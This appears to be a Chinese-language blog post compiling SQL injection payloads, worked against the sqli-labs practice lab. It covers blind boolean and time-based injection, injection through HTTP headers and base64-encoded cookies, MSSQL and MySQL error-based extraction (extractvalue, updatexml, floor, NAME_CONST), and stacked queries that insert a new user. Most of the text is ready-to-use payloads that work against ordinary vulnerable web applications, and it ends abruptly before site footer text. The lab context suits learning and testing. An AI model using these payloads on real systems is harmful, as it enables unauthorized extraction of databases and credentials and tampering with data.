各种SQL注入攻击

GET注入-盲注

1.布尔型 - 单引号

猜当前数据库的名称:

1' AND (ascii(substr((select database()) ,1,1)) = 115)--+

2.基于时间 - 单引号

1' and if ((select database()="security"), sleep(10), null)--+;已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。

1' and if (((select COUNT(table_name) from information_schema.TABLES where table_schema=database())=4), sleep(10), null)--+

3.基于时间 - 双引号

1" and if ((select database()="security"), sleep(10), null)--+;

POST注入-显错注入

1.单引号 - 字符型

显示所有的用户名和密码: ’OR 1#

2.双引号 - 字符型 - 变形

")OR 1#

POST注入-盲注

1.基于布尔 - 单引号

1' OR (ascii(substr((select database()) ,1,1)) = 115)#

2.基于时间 - 双引号

1") OR if ((select database()="security"), sleep(10), null);已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。
1") OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,1,1))=101) , sleep(3), null)#

Headers注入

1.介绍

http header信息头是HTTP协议的重要组成部分,包含了一数据段来于服务器进行通信。我们这里主要是利用三个:UA、X-Forwarded-For和Referer。

UA:很多网站用他来判断操作系统和浏览器类型,来展示对应的页面。也有很多通过UA来判断访问是否合法,是用户访问还是程序访问等。

X-Forwarded-For被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。部分网站通过它来辨别访问者的IP信息

Referer是来源信息,在防盗链中使用广泛。

2.UA部分 - 基于错误

这个系统采用白名单机制来判断UA是否符合标准,其他UA一律视为爬虫会被ban掉。那么我们通过注入猜解一下白名单那中的UA是中,是否有windows操作系统。
用火狐浏览器中的相关扩展插件(Live-HTTP-headers),将UA改为:' union SELECT 1,2,3,uagent FROM uagents WHERE uagent like '%windows%

3.X-FORWARDED-FOR部分 - 基于错误

构造语句得到root用户在数据库中的IP地址。
用火狐浏览器中的相关扩展插件(X-Forwarded-For Header),将X-Forwarded-For改为:’union select 1,2,3,ip_address from uagents where username='root'#
得到10.10.10.10

4.Referer部分 - 基于错误

用火狐浏览器中的相关扩展插件(Live-HTTP-headers),构造语句来猜出10.10.10.10的referer。
' union SELECT 1,2,referer from referers where ip_address='10.10.10.10'#
得到http://127.0.0.1/sqli-labs-master/

Cookie注入

base64编码 - 单引号和圆括号

使用Modify Headers,进行cookie注入

将   ') union select * from users where id=12#   进行encode加密变成:
JykgdW5pb24gc2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpZD0xMiM=  放到uname后。

Mssql报错注入

1.报错原理

根据报错内容,来获取想知道的信息。

2.数据类型转换错误

is_srvrolemember ('sysadmin')函数是用来判断当前的数据用户是否属于管理员组权限。
如果当前用户不属于sysadmin组,那么is_srvrolemember ('sysadmin')将返回0,char(88+0)将返回字母X。
如果当前用户拥有管理员权限,那么is_srvrolemember ('sysadmin')将返回1,char(88+1) 将返回字母Y,触发强制类型转换错误。

注入后的sql语句变为:
select * from articles where id=char(88+is_srvrolemember ('sysadmin'))
url中不能写成+,要写成URL编码后的形式%2b,因为url中的+被认为是空格。
报错信息为Y,说明is_srvrolemember ('sysadmin')的值为1,可以断定当前的数据库用户属于管理员组。

或者:select IS_SRVROLEMEMBER ('sysadmin'))=1--

3.group by having报错

1、用having 1=1爆出第一个字段的名字。

注入后的sql语句为:select * from articles where ID=1 having 1=1,having后面通常跟聚合函数的条件,因为select后面没有任何聚合函数,所以出现了报错。

2、爆出其他字段内容,方法为在group by 后面跟上第一个字段,爆下一个字段的时候需要在group by后面跟上前面得到的所有字段。

注入后的sql语句为:select * from articles where ID=1 group by id having 1=1
接着爆下一个字段的名字,注入语句为group by id,title having 1=1。尝试爆出剩下的字段名。

3、爆字段内容。这里用到转换类型错误报错,形如1=0/columnname,因为0是整数型,而columnname为字符型,相除会出现错误。爆字段title的内容。

注入后的sql语句为:select * from articles where ID =1 and 1/title。因为title为字符串类型,转换出错。爆出字段内容为“欢迎光临”。
如果登录界面存在这种错误,那么攻击者可以通过这种方法来获取用户的用户名和密码等信息。

报错注入

1.extractvalue(xml_frag, xpath_expr)

从一个使用xpath语法的xml字符串中提取一个值。
   xml_frag:xml文档对象的名称,是一个string类型。
   xpath_expr:使用xpath语法格式的路径。

SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。

 而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

使用extractvalue函数进行报错注入:http://localhost/sqli-labs-master/Less-2/?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+   结果出现报错。

2.updatexml(XML_document,XPath_string,new_value)

  第一个参数:XML_document是string格式,为XML文档对象的名称,列入Doc
  第二参数:XPath_string是路径,XPath格式的字符串。
  第三个参数:new_value,string格式,替换查找到的符合条件的数据
  通extractvalue(),输入错误的第二个参数,即路径错误(把  /  缓存  ~)

3.floor

rand()函数:随机返回0~1间的小数
select  rand()*2,计算结果在0-2之间
select rand() from users; users表有多少列,就输出几个随机数

floor()函数:小数向下取整
select floor(rand()*2) from information_schema.tables;

select concat_ws('~',(select database()),floor(rand()*2)) from users;

count(*) 统计数量

?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2))  as a from information_schema.tables group by a--+

4.floor

利用数据重复报错。
id=1" and (select 1 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

5.benchmark

延时注入可以使用sleep函数,以及benchmark函数。

id=1" and if(mid(user(),1,1) like 'l',sleep(5),1)--+
id=1" union select (if(substring(db,1,1)=char(115),benchmark(10000000,sha(1)),null)),2,3 from (select database() as db) as a--+

堆叠注入

1.概念

一堆sql语句(多条)一起执行,在mysql命令行中,每一条语句结尾加分号;来表示语句结束。利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。

2.关于SQL基础语句

增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …

3.应用
  • get型:可以试着添加一个新的用户进去。
    localhost/sqli-labs-master/Less-38/?id=1'; insert into users values ('100','less38','heetian')%23
  • post型:

    尝试使用弱口令进行注入,发现密码处能进行注入。


    创建less42这个数据表:


 


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值